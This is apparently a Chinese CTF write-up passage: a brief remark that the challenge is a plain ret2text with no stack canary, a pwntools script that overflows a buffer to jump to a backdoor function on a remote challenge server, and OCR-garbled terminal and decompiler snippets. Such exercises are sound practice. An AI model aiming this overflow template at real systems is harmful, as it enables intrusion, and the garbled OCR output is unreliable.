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这走ret2text没什么好说的吧，canary也没开，也没有额外的判断条件
Exp：
from pwn import *

context(os="linux", terminal=["cmd.exe", "/c", "start"])

binary_path = "./vuln"
host = "47.99.147.34"#网址
port = 10858#端口

elf = ELF(binary_path, checksec=False)
context.binary = elf

if elf.bits == 64:
    context.arch = "amd64"
    gdbscript = """
    b *main
    c
    """
else:
    context.arch = "i386"
    gdbscript = """
    b *main
    c
    """

context.log_level = "debug"

if args.REMOTE:
    io = remote(host, port)
else:
    io = process(binary_path)

def p():
    pause()

#todo
backdoor=0x401196
ret=0x40101a
io.recv()
offset=0x40+0x8
payload=flat([cyclic(offset),ret,backdoor])
io.sendline(payload)

io.interactive()
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allfine@ALF:/mnt/c/Users/3u831/Desktop.

vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /1ib64/ld-linux-x86-64.s0.2,

file vuln

BuildID[shal]l=2U41faa2a89d3d580Ufa3aePalleaduc5f33c364, for GNU/Linux 3.2.0, not stripped
checksec vuln
Error: No option selected. Please select an option.
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puts("=== Note Service
puts("Leave your note
read(@, buf, ex1eeu);
return puts(“Note saved. Thank you!");
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